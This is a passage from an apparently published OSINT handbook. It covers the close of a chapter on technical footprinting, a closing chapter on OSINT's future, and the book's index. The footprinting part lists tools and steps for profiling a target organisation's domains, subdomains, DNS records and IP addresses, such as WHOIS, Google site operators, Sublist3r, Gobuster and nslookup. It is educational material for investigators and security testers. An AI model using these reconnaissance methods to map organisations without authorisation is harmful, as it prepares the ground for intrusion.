to build a profile for each one. Web Data Extractor Web Data Extractor (www.webextractor.com) is a commercial program that collects various types of data including URLs, phone and fax numbers, e-mail addresses, and meta tag information and body text. Email Extractor Email Extractor (https://www.email-extractor.io) is a Chrome add-on that extracts all e-mails from currently visited web pages. Investigating the company domain name is the second task after the initial web page exploration. Different types of searches can be conducted on domain names. Let’s start by finding the WHOIS information of the target domain. Investigate the Target Website’s File Metadata When browsing a target company’s website, you may encounter different types of files posted on it, such as files advertising products in JPEG or PDF format, spreadsheets containing product catalogs, and others. These files must be downloaded and investigated offline to extract their metadata. We already covered metadata in Chapter 2. In this section, we will list additional tools to analyze metadata in digital files: • Metagoofil (https://code.google.com/archive/p/metagoofil): You can extract the metadata of public documents from a target company’s website. • OOMetaExtractor (https://archive.codeplex. com/?p=oometaextractor): You can extract an OpenOffice document’s metadata. ChApter 8 teChniCAl Footprinting 325 • Fingerprinting Organizations with Collected Archives (https://www. elevenpaths.com/labstools/foca/index.html): This is a metadata analysis tool; it harvests public files from the Internet using three search engines: Google, Bing, and DuckDuckGo. Then you can search them for metadata and hidden information. Website Certification Search To show cryptographic certifications associated with any domain name, use these search services: • Censys (https://censys.io) • Certificate Search (https://crt.sh) Website Statistics and Analytics Tools Website statistics tools provide useful marketing, technical, and historical information about any domain name. You need to supply the target domain name only, and a detailed report is generated. The following are the most popular tools in this area: • Alexa (https://www.alexa.com/siteinfo): Offers rich websites statistics and analytical info. • Moon Search (http://moonsearch.com): Offers websites analytical services and Backlinks checker service. • Spy On Web (www.spyonweb.com): Collect different information about target domain name like its IP address and used DNS server. • W3bin (https://w3bin.com): Here you can find out who hosts a specific website. • Visual Site Mapper (www.visualsitemapper.com): This tool shows outgoing and incoming links to a target website. • Site Liner (www.siteliner.com): This tool shows duplicate content and related domain names. • Clear Web Stats (https://www.clearwebstats.com): This tool shows detailed technical information about any domain name. ChApter 8 teChniCAl Footprinting 326 • Website Outlook (www.websiteoutlook.com): Different website statistics tools like social popularity, keyword analysis and website technical information. • Informer (http://website.informer.com): This tool shows statistical information about websites. • Security Headers (https://securityheaders.io): Here you can analyze HTTP response headers of target websites. Website Reputation Checker Tools There are many organizations that offer free online services to check whether a specific website is malicious. Some of these sites also offer historical information about a target website. The following are the various web reputation analysis services: • Threat Miner (https://www.threatminer.org/index.php): This site offers domain threat intelligence analysis. • Urlquery (http://urlquery.net): This is an online service to detect and analyze web-based malware. • URLVoid (www.urlvoid.com): This is a website reputation checker tool. • Threat Crowd (https://www.threatcrowd.org): This is a search engine for threats. • Reputation Authority (www.reputationauthority.org/index.php): Here you can check a domain name’s behavior score. • Sucuri SiteCheck (https://sitecheck.sucuri.net): This is a website malware and security scanner. It will also show a list of links and list of scripts included within the target website. • Joe Sandbox (https://www.joesandbox.com): This service detects and analyzes potential malicious files and URLs. • Safe Browsing (https://developers.google.com/safe- browsing/?csw=1): This site offers APIs to access the Google Safe Browsing lists of unsafe web resources. ChApter 8 teChniCAl Footprinting 327 • abuse.ch ZeuS Domain Blocklist (https://zeustracker.abuse.ch/ blocklist.php?download=domainblocklist): This is a blacklist of domain names. • Malware Domain Blacklist (http://mirror1.malwaredomains.com/ files/domains.txt): Holds a list of domains that are known to be used to spread malware online. • MalwareURL (https://www.malwareurl.com/index.php): You can check a suspicious website or IP address here. • Scumware (https://www.scumware.org): This is a list of malicious websites. Note! to see a list of websites that have been hacked before, go to http:// zone-h.org/archive and search for the target domain name. if there is a previous hack, it will show you the hacked page (which replaces the original main home page), the hacker team responsible of this hack if available, and the date/ time when the hack took place. Passive Technical Reconnaissance Activities Conducting passive reconnaissance activities for technical information means you are trying to identify subdomains, IP addresses, doing DNS footprinting, and getting WHOIS information of the target domain. WHOIS Lookup With a WHOIS lookup, you can find out who registered the target domain name in addition to other useful information such as the domain name owner and personal information, billing contact, and technical contact address (see Figure 8-5). This information is public and required to be so by the ICANN organization responsible for overseeing the domain name system. WHOIS information about each domain is stored within public central databases called WHOIS databases. These databases can be queried to fetch detailed information about any registered domain name. Please note that some domain registrants may opt to make their domain registration information ChApter 8 teChniCAl Footprinting 328 private. (This service is called something different by each domain register and require paying additional fee, but the most common terms are domain privacy or WHOIS protection.) In these cases, the personal information of the domain registrant will be hidden in the WHOIS databases. Numerous sites offer WHOIS information. However, the main one responsible for delivering this service is ICANN. ICANN and its local regional Internet registries manage the allocation and registration of IP addresses and domain names for the entire world. • ICANN (https://whois.icann.org/en): This is the head organization responsible for coordinating the Internet DNS and IP addresses. • AFRINIC (https://www.afrinic.net): This is responsible for the Africa region. • APNIC (https://www.apnic.net): This is responsible for the Asia- Pacific region. • LACNIC (www.lacnic.net): This is responsible for the Latin American and the Caribbean. Figure 8-5. Partial WHOIS report about the DarknessGate.com domain name retrieved from https://whois.icann.org ChApter 8 teChniCAl Footprinting 329 Many other online services give more information about registered domain names, listed here: • Domain History (www.domainhistory.net): This shows archived domain name information. • Whoisology (https://whoisology.com/#advanced): This is a domain name ownership archive. • Robtext (https://www.robtex.com): This contains various information about domain names. • Who (https://who.is): This offers a WHOIS search for domain name, website, and IP tools. • Operative Framework (https://github.com/graniet/operative- framework): Here you can find all domains registered by the same e-mail address. • URL Scan (https://urlscan.io): This shows different information about the target website such as IP detail, subdomains, domain trees, links, certificates, and technologies used to build it. Now, after finding out who is responsible for the target domain name, you can begin discovering how the target company organizes its Internet resources through web hosts and subdomains. Subdomain Discovery A subdomain is a web address created under the current domain name address. It is usually used by website administrators to organize their content online. For example, www.darknessgate.com can use the subdomain http://shop.darknessagte.com for shopping and the subdomain http://blog.darknessgate.com for housing a blog. Many website administrators may create subdomains to test new technology before applying it to the main site. Such sites are insecure because they are used in the development stage and could be left open to attack. Discovering such insecure subdomains can provide important information about the target company (for example, it may reveal the website code or leak documents forgotten on the server). There are many tools/techniques for subdomain discovery. The following are the most popular ones. ChApter 8 teChniCAl Footprinting 330 Using Google Search Operator Use site:target.com -inurl:www and Google will show all the related subdomain names of the target. For example, typing site:yahoo.com -inurl:www will show all the subdomains of the target domain name yahoo.com using the Google search page (see Figure 8-6). Figure 8-6. Using Google advanced search operators for subdomain name discovery Using VirusTotal.com The VirusTotal service checks suspicious files and URLs for malicious code. This service can be used for subdomain discovery. Go to https://www.virustotal.com/#/home/search (make sure to select the Search tab if it is not already selected). Enter the target domain name and press Enter. Scroll to the end of the page to find the “Observed Subdomains” section (see Figure 8-7). ChApter 8 teChniCAl Footprinting 331 DNSdumpster With DNSdumpster (https://dnsdumpster.com), you can find domain name information about subdomains, DNS servers, and MX records. Here are other tools and services for subdomain discovery: • Dnsmap (https://tools.kali.org/information-gathering/ dnsmapComes): This is preinstalled on Linux Kali. It performs subdomain name discovery and shows the associated IP addresses for each subdomain name found. • Certificate Search (https://crt.sh): This service also discovers subdomain names of the target domain. Figure 8-7. VirusTotal showing the “Observed Subdomains” section for Apress.com ChApter 8 teChniCAl Footprinting 332 • Gobuster (https://github.com/OJ/gobuster): This site discovers subdomains and files/directories on target websites. This tool is used as an active reconnaissance technique to collect information. • Bluto (https://github.com/darryllane/Bluto): Here you can gather subdomain names passively via Netcraft. • PenTest Tools (https://pentest-tools.com/information- gathering/find-subdomains-of-domain): Here you can discover subdomain names, find virtual hosts, and do website reconnaissance and metadata extraction from a target website. • Sublist3r (https://github.com/aboul3la/Sublist3r): Here you can discover subdomain names using both passive and active reconnaissance techniques. Tip! Use more than one service for subdomain discovery because some services may return partial results based on their discovery method. DNS Reconnaissance After gathering information about the WHOIS records and target subdomain names, you can acquire more passive information about the target domain. In this section, we will list passive reconnaissance techniques to gather information regarding the DNS servers and the DNS records. The next stage is port scanning and other active reconnaissance techniques, which are considered outside our book’s scope of OSINT-gathering activities. Route Mapping To determine the path to the target network, you need to use the tracert command. Please note that when information goes through networks, it does not follow the same path every time; it passes through different routers, firewalls, and other computing devices before reaching its destination. For high-value websites, the tracert command will be disabled, but it does not hurt to test it for your target website. There are many tools to perform tracerouting. On the Windows OS, open a command line prompt and type tracert followed by the target domain name (see Figure 8-8). ChApter 8 teChniCAl Footprinting 333 Common DNS Record Types Before collecting information from the target DNS, you need to know the main DNS record types. The domain name system has many records associated with it. Each one gives a different set of information about the related domain name. These are the most common DNS records: • A is usually used to map hostnames to an IP address of the host. It is used for IPv4 records. • AAAA is the same as record type A but used for IPv6 records. • CNAME is the canonical name record. This record is often called an alias record because it maps an alias to the canonical name. • MX is the mail exchange record. It maps domain names to its mail server responsible for delivering messages for that domain. • NS is the name server record. It handles queries regarding different services related to the main domain name. • TXT is the text record. It associates arbitrary text with a domain name. Figure 8-8. Performing tracert on the target website ChApter 8 teChniCAl Footprinting 334 nslookup Command This command helps you discover various DNS information about the target domain name in addition to its resolved IP address. The command is available on both Windows and Linux. Let’s begin by finding the A record of the target domain name (see Figure 8- 9). To see the MX records (mail server records) associated with the target domain name, type the command shown in Figure 8-10. In the same way, you can extract the IP address from any mail exchange server of the target domain name by typing set type=a and then entering the mail server address to resolve it into an IP address (see Figure 8-11). Figure 8-9. Finding the A record of the target domain name using nslookup Figure 8-10. Showing MX records with a target domain name ChApter 8 teChniCAl Footprinting 335 By knowing the mail exchange server IP address, you can further implement IP searching techniques on this IP address to locate more information about it, as you will see next. You can use nslookup in the same way as using web tools; let’s practice it using the MXtoolbox website. Go to https://mxtoolbox.com and enter the target domain name in the search box. The site gives DNS information about a target domain name such as DNS lookup, MX lookup, WHOIS lookup, Sender Policy Framework (SPF) lookup, and DNS propagation. All this information is shown in a graphical user interface. An important feature of this site is that it gives you the authoritative name server of the target domain name (see Figure 8-12). Authoritative means the DNS server is the one that holds the actual DNS records (A, CNAME, MX, and so on) for the target domain name. Please note that during our previous nslookup tests, we were receiving a “nonauthoritative answer” when querying the target domain name. This because we are receiving a response from a cached version or from a local DNS server (your ISP’s DNS server). Figure 8-11. Resolving the mail exchange server into an IPv4 number ChApter 8 teChniCAl Footprinting 336 The following are other useful websites that offer DNS and web search tools: • W3DT (https://w3dt.net): This offers various DNS lookup services and other network and Internet web-based tools. • DNS Stuff (https://www.dnsstuff.com/tools): This offers various DNS, networking, and e-mail analysis tools. Netcraft Netcraft is a popular security scanner site that gives detailed security information about any website. To use it, go to https://searchdns.netcraft.com, enter the target domain name in the text box, and click the lookup button (see Figure 8-13). Netcraft will generate a detailed security report about the target website that includes the following (and more): • Network information (IPv6, domain register, name server, DNS admin contact, hosting company, and more) • Hosting history record • Sender Policy Framework (SPF) • Domain-based message authentication, reporting, and conformance record • Web trackers associated with this site such as social sharing widgets, JavaScript files, and images • Site technology and advertising networks Figure 8-12. Authoritative name server of the target domain name ChApter 8 teChniCAl Footprinting 337 IP Address Tracking In Chapter 2, we thoroughly covered the concept of IP addresses and how they can be used to track users online across various websites. In this section, we will list the most popular—and free of charge—tools that can help you to find more information about any IP address or domain name. Here are tools for IP geolocation information: • IPverse (http://ipverse.net): This shows the IPv4 and IPv6 address block lists by country code. • IP2Location (www.ip2location.com/demo.aspx): This is a free IP location service. • Ipfingerprints (www.ipfingerprints.com): This shows the IP address geographical location finder. Figure 8-13. Netcraft gives detailed security information about any website ChApter 8 teChniCAl Footprinting 338 • DB-IP (https://db-ip.com): This shows the IP geolocation and network intelligence. • IPINTEL (https://ipintel.io): This shows the IP address on a map and shows the ISP. • IP Location (https://www.iplocation.net): This shows IP geolocation data. • UTrace (http://en.utrace.de): Locate IP address and domain names. Here are tools to gain information about the Internet Protocol (IP): • Onyphe (https://www.onyphe.io). • CIDR REPORT for IPv4 (www.cidr-report.org/as2.0). • IP to ASN (https://iptoasn.com): This shows the IP address to the ASN database updated hourly. • Reverse DNS Lookup (https://hackertarget.com/reverse-dns- lookup): This shows reverse DNS entries for a target IP address. • Reverse IP lookup (https://dnslytics.com/reverse-ip). • Same IP (www.sameip.org): This shows sites hosted on the same IP address. • CIDR REPORT for IPv6 (www.cidr-report.org/v6). • IP Address Tools (www.ipvoid.com). • ExoneraTor (https://exonerator.torproject.org): Here you can check whether a particular IP address was used as a Tor relay before. Here are tools to find out information about the Border Gateway Protocol (BGP): • BGP4 (www.bgp4.as/tools). • Hurricane Electric BGP Toolkit (https://bgp.he.net). • BGP Ranking (http://bgpranking.circl.lu). • BGP Stream (https://bgpstream.com). ChApter 8 teChniCAl Footprinting 339 Here are tools to find out information about blacklist IP addresses: • Block List (www.blocklist.de/en/index.html): Here you can report abused IP addresses to their server operators to stop the attacks or the compromised system. • FireHOL (http://iplists.firehol.org): Here you can collect cybercrime IP feeds to create a blacklist of IP addresses that can be used on various networking devices to block malicious access/ websites. • Directory of Malicious IPs (https://www.projecthoneypot.org/ list_of_ips.php): Directory of Malicious IPs. Summary Gathering technical information about a target website and network system is known as technical footprinting. During this book we focused on passive reconnaissance techniques, as the essence of OSINT gathering is concerned with acquiring publicly available information that does not need a permit in order to collect it. In this chapter, we covered tools and techniques that can be used to acquire OSINT intelligence about the target’s website and network infrastructure passively. In the next chapter, we will talk about the future and how the widespread use of the Internet, mobile communications, and social media platforms will impact the future of OSINT-gathering techniques. ChApter 8 teChniCAl Footprinting 341 © Nihad A. Hassan, Rami Hijazi 2018 N. A. Hassan and R. Hijazi, Open Source Intelligence Methods and Tools, https://doi.org/10.1007/978-1-4842-3213-2_9 CHAPTER 9 What’s Next? OSINT has become the preferred information-gathering method for intelligence agencies around the world. Traditionally, intelligence services relied on other channels to acquire information with varying degrees of reliability and usefulness; however, as computing technology continues to advance and the Internet and social networks are even more widely accessible around the globe, intelligence services have shifted a large percentage of their intelligence-gathering activities into the OSINT scope. Some intelligence experts estimate that more than 90 percent of intelligence information is coming now from OSINT sources. OSINT is not limited to intelligence services, law enforcement, and military agencies. OSINT has become an integral component in the decision-making process for governments, business corporations, UN agencies, nongovernmental organizations, academia, the media, and civil societies such as citizen advocacy groups and labor unions. Nowadays, corporations use OSINT to investigate internal leakages, collect competitor intelligence, and predict trends in foreign markets. OSINT is also used by black hat hackers and criminal organizations to explore data that could be used to better attack or socially engineer a target. Where Will OSINT Go Next? The information age has resulted in an explosive amount of potential intelligence sources and will shape the future of OSINT gathering. In the intelligence arena, it is predicted that the practice of harvesting online data to counter terrorism and solve crime will increase. In addition, OSINT will continue to offer a cheap method to acquire intelligence about any community around the globe. For example, many studies show that recent protests in Arab countries were predicted by western security services after analyzing Arabic users’ behaviors on social platforms at that time. 342 In the civil area, businesses will be more willing to develop their own OSINT capabilities to gain competitive advantages and to secure their investments in an ever- changing world. Large organizations will work to have their own OSINT teams, while commercial OSINT providers will continue to offer their services to small and medium corporations that cannot afford to have an independent OSINT-gathering department. Note! Many corporations already use OSINT for risk prediction, which they call competitive intelligence or business intelligence. From an information security perspective, OSINT gathering will continue to be a stepping stone for most penetration testing assessments to evaluate system weaknesses and work to fix them quickly. Organizations will work to integrate their OSINT intelligence into an organization’s overall cyber-defense strategy to protect their assets and to strength their security posture. The main obstacle against OSINT gathering is the mass volume of data that needs to be processed. Indeed, the huge advancements in mobile computing and the increased speed of the Internet will make people more willing to post a considerable volume of data to the Internet. This tremendous stream of public data will make analyzing it extremely time-consuming. Governments and giant corporations are continually testing new technologies to overcome this. Investments in analytic technology have become a priority by many governments and giant IT corporations as it will lead to processing huge volumes of data in order to turn it into data that can be queried and modeled to build conclusions quickly. Note! Data generated from Internet of Things (IoT) devices is also considered a major challenge. In the near future, it is expected that we will have billions of working IoT devices. The resulting data/metadata from these devices is huge and requires sophisticated analytical tools to gain useful intelligence from them. Another challenge to OSINT gathering is the predicted growth of “fake news” online. Currently major social networking platforms like Facebook and Twitter face a real challenge to counter such activities. New algorithms—and usage policies—should be developed to verify news sources automatically before considering them valid OSINT sources. ChapTer 9 WhaT’S NexT? 343 Advancements in computing technology will certainly lead to creating efficient algorithms to handle the massive volume of data and to separate the irrelevant data from the target data. The advances in artificial intelligence and machine learning technologies will again transform OSINT in the coming years. OSINT Process During this book, we did not explicitly talk about the process—or specific flow of steps— that should be followed to gather OSINT. The OSINT-gathering activities can take place in no particular order according to each case or purpose. However, the flow of chapters in this book can also considered a good way to organize your OSITN searching activities. In general, there are five main stages for any OSINT-gathering activity, as explained here: 1. Identify the sources: You identify the sources where you want to collect this data (e.g., the Internet, newspapers, magazines, commercial databases, and so on). 2. Harvest the data: You use different tools and techniques to gather data from the target sources; bear in mind that you should follow passive techniques to gather this data. 3. Process and verify the data: You process the gathered data and verify uncertain data from the data from more than one source if possible. You should also identify current and outdated data and exclude the irrelevant data from further analysis. 4. Analyze the data: You analyze the data and try to find connections between it to formulate a complete picture about the target. 5. Deliver the results: You present a report of your findings to the relevant party. This step is important and usually overlooked by many OSINT gatherers. It is necessary to present your key findings in an easy-to-understand format for any end user. ChapTer 9 WhaT’S NexT? 344 Final Words To conclude, we think the future of OSINT is extremely bright! Both public and private organizations will work to integrate OSINT gathering into their overall decision-making processes. New industries will be eager to exploit the huge data resulting from the information revolution to support their business strategies and intelligence. We hope this book was successful in shedding light on this important concept that have been widely used since the dawn of history under different names. ChapTer 9 WhaT’S NexT? 345 © Nihad A. Hassan, Rami Hijazi 2018 N. A. Hassan and R. Hijazi, Open Source Intelligence Methods and Tools, https://doi.org/10.1007/978-1-4842-3213-2 Index A Academic search engine, 100 Adware, 28 Anonymity networks, see Darknet Anti-malware, 33 Antivirus, 31–32 Apache OpenOffice Draw, 89 Artificial intelligence systems, 256 Avast Free Antivirus, 32 Avira, 32 B Babylon’s Free Online Translation, 92 BBC Monitoring, 7 Bing Translator, 92 Bitcoin, 80 BitLocker, 82 Black hat hackers, 23 BleachBit, 93 Blogs, 209 Bookmarking, Firefox, 91 Browserleaks, 58 Business Intelligence and Reporting Tools, 90 C Canvas fingerprinting, 57 ChatSecure, 86 Circuit-switching method, 122 Cloud storage security, 82–83 Comodo firewall, 38 Comodo Internet Security, 32 Computing devices, 50–51 Cookies, 55–56 Cryptocat, 85 Cryptocurrency, 80–81 Cryptomator, 83 Crypto-ransomware, 27 Cyberattacks, 33 D Darknet criminal activities, 103 definition, 101 Freenet (see Freenet) I2P (see Invisible Internet Project (I2P)) internet layers, 103 legal uses, 103 OSINT, 102 Tails OS (see Tails OS) Tor Network (see Tor Network) Data breaches, 182 Data destruction tools, 44 Data-erasing algorithms, 44 Data visualization Business Intelligence and Reporting Tools, 90 Dradis CE, 90 Microsoft Excel, 90 346 Debian GNU/Linux security-hardened OS, 109 Deep web, 95 definition, 98 directories, 100, 101 specialized search engines, 99–100 websites, 99 Digital identity, 21 DiskCryptor, 82 Distributed denial-of-service (DDoS), 30 DNS reconnaissance Netcraft, 336 nslookup command, 334–336 record types, 333 route mapping, 332–333 Dradis CE, 90 Drawing software Apache OpenOffice Draw, 89 Google Drawings, 90 mind mapping, 89 note management KeepNote, 90 TagSpaces, 90 Dredown, 198 Drug dealers, 21 Duplicati, 83 Dynamic Host Configuration Protocol (DHCP), 53 E Economist Intelligence Unit, 8 E-mail communications GnuPG project, 84 Gpg4win, 83 IM conversations, 85 Mailvelope, 84 messaging apps, 85–86 Mozilla Thunderbird, 84 ProtonMail, 84–85 sharing information, 83 VoIP/IM application, 85 Encryption techniques cloud storage security, 82–83 confidential data, 81 e-mails (see E-mail communications) hard drive/USB sticks, 82 passwords, 81 Epic browser, 59 Ever cookies, 55–56 Exif Pilot, 46 Exit relay, 107 Extensible Metadata Platform (XMP), 46 ExtractFace tool dumping friends list, 231 MozRepl add-on, 228 options, 230 F Facebook, 211, 296–297 account, 212 ExtractFace tool, 228 Google Search, 224 Graph Search (see Facebook Graph Search) hashtags, 224 online services, 227–228 social interactions, 212 storage, 213 tracking photos, 222–223 Facebook Graph Search, 213 Facebook account settings, 214–215 Facebook username, 225, 226 friend list, 220–221 peoplefindThor, 226 Index 347 photos-of query, 220 search queries, 215 for pages, 217 for people, 216 for posts, 217 Socmint, 226 target’s profile ID, 218–219 Facebook scanner, 225 Factiva, 9 Fake identity generator, 92–93 Federal Trade Commission, 27 File-sharing services, 77 File Transfer Protocol (FTP), 151 FileZilla, 151 Fingerprinting browser, 57–58 Canvas, 57 script-based, 57 trackers, 57 Fingerprint scanner, 40 Firewall, 32–33 Flash cookies, 55–56 Footprinting company’s website, 314–315 Email Extractor, 324 file metadata, 324–325 IP address tracking, 337–339 link extractor, 317 monitor website updates, 318 OSINT sources, 313 Robots.txt File, 316 target website, 317 technologies usage, 319–321 theHarvester, 322, 324 types of information gathering, 313–314 Web Data Extractor, 324 web scraping tools, 322 website certification search, 325 website reputation checker tools, 326–327 website’s archived contents, 318 website’s backlinks, 318 website statistics and analytics tools, 325–326 Forums, 209 Freedom of Information Act (FOIA), 262 FreeMind, 89 Freenet, 69, 102, 123 Free Password Generator, 81 Free translation services, 92 G Garlic encryption, 122 Geographic Information System (GIS), 292 Ghost Call, 86 Global Positioning System (GPS), 286 Gmail, 241 Google+ circles, 242 Google+ to RSS, 247 Google+ User Feed, 247 privacy controls, 242 searching, 243 search operators, 243–244 AND operator, 246 Google+ collections, 246 Google+ communities, 245 NOT operator, 246 OR operator, 246 site operator, 246 Google AdWords, 129 Google dorks, 128, 133 Google Drawings, 90 Google hacking, 133 Index 348 Google Hacking Database, 136–137 Google Keyword Suggest Tool, 129 Google Translate, 92 Gray information, 8 H Hard disk drive (HDD), 42 Hypertext Markup Language (HTML), 170 I Image search engine basic, 183–185 manipulation check, 188 OCR tools, 189–191 reverse, 187 Intelligence services, 341 International Press Telecommunications Council (IPTC), 46 Internet darknet (see Darknet) Internet World Stats, 95 layers, 96–102 Internet of Things (IoT), 101 Internet service provider (ISP), 52, 54 Internet worm, 29 Invisible Internet Project (I2P) applications, 117 console view, 118 download, 117 error message, 120 Firefox configurations, 118–119 Garlic encryption, 122 install, 117 intended website, 121 outproxy, 122 service link, 120 vs. Tor Network, 122 J Jane’s Information Group, 8 Juice jacking, 30 K Kali Linux, 93 KeepNote, 90 L LexisNexis, 10 LinkedIn search, 247 advanced filters, 251 filters, 250 Google custom search, 252–253 privacy settings, 248 profile, 248–249 search form, 249 search operators, 252 Live Bookmarks, 162 M, N Mailvelope, 84 Malware, 22 Malwarebytes, 33 Memex program, 124 Microsoft Excel, 90 Morris worm, 29 O One Look, 129 OnionShare, 77–78 Online anonymity file-sharing, 77–78 Index 349 payments cryptocurrency, 80–81 legal investigation, 79 prepaid gift card, 79 transaction details, 79 Tails and security OSs, 76 TOR Network (see TOR Network) Online browsing desktop browsers, 59 Firefox digital fingerprinting and browser leak, 64 options, 60 privacy add-on, 63–64 Privacy tab, 61 search engine, 61 Security tab, 62 turning on private browsing, 59–60 Online communication anonymity, 65 DNS leak test, 67–69 privacy, 64 proxies, 66–67 VPN, 65–66 Online maps air movements, 305–307 Apple and Google Play, 285 check-in on Facebook, 286 commercial satellites, 294 country profile information, 304 date and time, 294–295 digital file metadata, 312 electronic devices, 285 general geospatial research tools, 288–293 geocode coordinates, 288 geographic coordinate system, 286 GPS coordinates, 286–287 maritime movements, 307–309 package tracking, 310 transport tracking, 304 vehicles and railways, 309 webcams, 311–312 Online threats adware, 28 black hat hackers, 23 juice jacking, 30 malware, 22 pharming, 23–24 phishing, 24–27 ransomware, 27–28 rootkits, 30 scareware, 29 spyware, 29 Trojan, 29 viruses, 29 Wi-Fi eavesdropping, 30 worms, 29 Online tracking techniques cookies, 55–56 digital fingerprinting (see Fingerprinting) IP address definition, 52–53 social sites, 54 types, 53 social account, 52 OpenDocument Presentation (ODP), 171 OpenDocument Spreadsheet (ODS), 171 Open Source Center (OSC), 7 Open source data (OSD), 3 Open Source Enterprise, 2 Open source information (OSINF), 3 Index 350 Open source intelligence (OSINT), 1, 4 benefits, 15–16 challenges, 16 definition, 2 digital data volume, 5–6 gathering activity, 343 information gathering types active collection, 15 passive collection, 14 semipassive, 14 information, interested parties business corporations, 12 government, 10 international organizations, 11 law enforcement agencies, 11 penetration testing methodology, 12–13 privacy-conscious people, 13 terrorists organizations, 13 legal and ethical constraints, 17–18 organizations government, 7 gray literature vendors, 8–10 private sector, 7 OSINF, 3, 4 sources, 2 types, 5 Operating system (OS) security digital traces data destruction, 41 data destruction tools, 44 data-erasing algorithms, 44 degaussing, 43 logical destruction, 43 physical destruction, 42 SSD and HDD, 42 SSD data-erasing tools, 44 logical threats, 33 physical threats, 33 privacy settings, Windows 10, 39–41 Windows OS (see Windows OS) Optical character recognition (OCR) tools, 189–191 Oxford Analytica, 8 P, Q Panopticlick, 58 Passive reconnaissance activities DNSdumpster, 331–332 Google Search Operator, 330 VirusTotal.com, 330–331 WHOIS lookup, 327, 329 Password manager program, 81 Pastebin sites, 255–256 PeaZip, 83 People search engine 411, 265 Address Search, 266 Advanced Background Check, 267 Been Verified, 266 criminal and court records, 272 Cubib, 267 databases, 262 dating website search, 281–282 Family Tree Now, 267 Fast People Search, 267 Genealogy, 268 How Many of Me, 268 Info Space, 267 Lullar, 266 My Life, 267 online investigators, 262 online registry, 268 Index 351 parameters, 261 Peek You, 266 Pipl, 265 Profile Engine, 267 property records, 273 Radaris, 267 Snoop Station, 267 Sorted By Name, 268 Speedy hunt, 268 Spokeo, 265 That’s Them search, 268 TruePeopleSearch, 265 TruthFinder, 264 US Search, 266 vital records, 269–270, 272 Webmii, 268 White Pages, 266 Yasni, 266 Zaba Search, 266 Persistent cookies, 55–56 Personally identifiable information (PII), 262 Pharming, 23–24 Phishing, 24–27 Portable Document Format (PDF), 172 Prepaid cards, 79 Privacy settings computing devices, 50–51 digital files metadata, 46 EXIF removal tool, 47–48 EXIF tags, 46, 47 GIMP, 46 MediaInfo, 49 Microsoft Office document, 46, 49–50 Mp3tag, 49 PDF files, 48–49 types, 46 XnView, 46 pirated software, 45–46 webcams, 45 ProtonMail, 84–85 Public records category, 263 E-mail Search and Investigation, 275–277 Employee Profiles and Job Websites, 280–281 phone number search, 279–280 Pwned Websites, 277–279 Social Security number search, 275 tax and financial information, 274 types, 283–284 username check, 275 PWGen, 81 R Ransomware, 27–28 RollBack Rx Home Edition, 38 Rootkits, 30 S Scareware, 29 Script-based fingerprinting, 57 SearchDiggity, 152 SearchDome, 152 Search engine optimization (SEO), 129 Search engine techniques digital files custom search engine, 174, 176–178 data leak information, 182 DOC and DOCX, 170 Index 352 document metadata, 183 document search, 170 Fagan Finder, 172 file extensions and signatures, 196 General-Search, 173 gray literature, 179–181 HTML and HTM, 170 image, 183–184, 187–188 OCR tools, 189–191 ODP, 171 ODS, 171 ODT, 170 PDF, 172 PPT and PPTX, 171 productivity tools, 196–200 ShareDir, 173 TXT, 171 video, 191–195 XLS and XLSX, 171 keywords discovery and research, 129 to locate information automated search tools, 152 Bing, 138–139 business search sites, 142, 144–147 code search, 150 FTP search engines, 151 Google, 130–138 IoT devices, 153–154 metadata search engines, 147–150 privacy-oriented search engines, 140 news search business corporations, 163 fake news detection, 166–169 Google News, 164–165 news websites, 166 translation services, 156–158 web directories, 154–156 website history and capture, 158–160 website monitoring services Google Alerts, 160–161 RSS feed, 162–163 Security services, 341 Security software anti-malware, 33 antivirus, 31–32 firewall, 32–33 Sender Policy Framework (SPF), 336 Session cookies, 55 Shodan search engine, 101 Signal, 86 Social media Facebook, 296–297 Internet, 303 One Million Tweet Map, 301 Periscope Map, 301 psychological analysis, 256 Facebook and Twitter prediction, 258 Fake Sport, 258 Review Meta, 258 tone analyzer, 257 TweetGenie, 258 Watson tone analyzer, 257 Qtr Tweets, 301 Strava heat map, 302–303 Tweet Map, 300–301 Twitter, 298–300 YouTube, 295–296 Social media intelligence (SOCMINT), 205 content types, 206–208 popular networking sites, 210–211 social media types, 208–210 Social media sites Facebook, 211 global usage, 203 Google+, 241 Search engine techniques (cont.) Index 353 less popular, 254–255 LinkedIn, 247 locating information, 253 Twitter, 231 Social networking, 208 Socket Secure (SOCKS), 122 Solid-state drive (SSD), 42, 44 Spybot, 33 Spyware, 29 SSD data-erasing tools, 44 Stateless tracking, 58 Storytelling tools, 89 Surface web, see Internet Systranet, 92 T TagSpaces, 90 Tails OS Debian GNU/Linux security-hardened OS, 109 intermediary, 112 persistent storage, 112–114 warnings, 114 Wi-Fi configuration, 111–112 USB drive, 109–111 Tor Browser bridges, 72–74 download, 70 ISPs, 71 launching, 70–71 pluggable transport (PT), 74–75 VPN, 72 Tor Messenger, 85 Tor Network accessing, 107 bitcoin, 116 connection website, 106 drawbacks, 109 e-mail services, 116 exit relay, 69 hidden wiki, 108 HTTPS Everywhere, 107 Internet, 69 vs. I2P, 122 IP address, 70 nodes, 69 .onion extension, 107 online traffic, 69 relays, 107 search engines, 115 security checks, 104–106 social networks, 116 Tor websites, 95 Transaction metadata, 77 Trojan, 29 Trusted Platform Module (TPM) version 2.0, 39 TruthFinder website, 100 Tweet Mapper, 300–301 Twitter, 231, 298–300 advanced search operators Filter operator, 235–236 min_faves, 237 min_replies, 236 min_retweets, 236 negation operator (-), 233 Periscope filter, 236 RT operator, 237 advanced search page, 237–238 online services Export Tweet, 240 TINFOLEAK, 240 Twitter Deck, 238 periscope service, 232 search home, 232–233 Index 354 U Ubersuggest, 129 Unified Extensible Firmware Interface (UEFI), 40 USB Raptor, 35 User Account Control (UAC), 36 V Validated OSINT (OSINT-V), 4 VeraCrypt, 82 Video search analysis, 194–195 basic, 192–193 Virtual Box, 86 Virtualization technology Android and iOS emulator, 88 bootable USB/CD drive, 87 virtual machines, 86–87 Windows 10, 88 Viruses, 29 VirusTotal, 46 VMware Player, 86 W, X Weapons of mass destruction (WMD), 2 Web crawlers, 96–97 Web directories, 101 Wi-Fi eavesdropping, 30 Windows OS Automatic Update feature, 34 disabling remote assistance, 36–37 freezing software, 37 hidden files, 37 less-privileged user account, 35 locking PC, USB drive, 35 setting password, BIOS/UEFI, 38 software and techniques, 34 strong password, 35 turning on UAC, 36 unnecessary ports/protocols and services, 38–39 updating Microsoft programs, 35 Worms, 29 Y YooDownload, 197 YouTube, 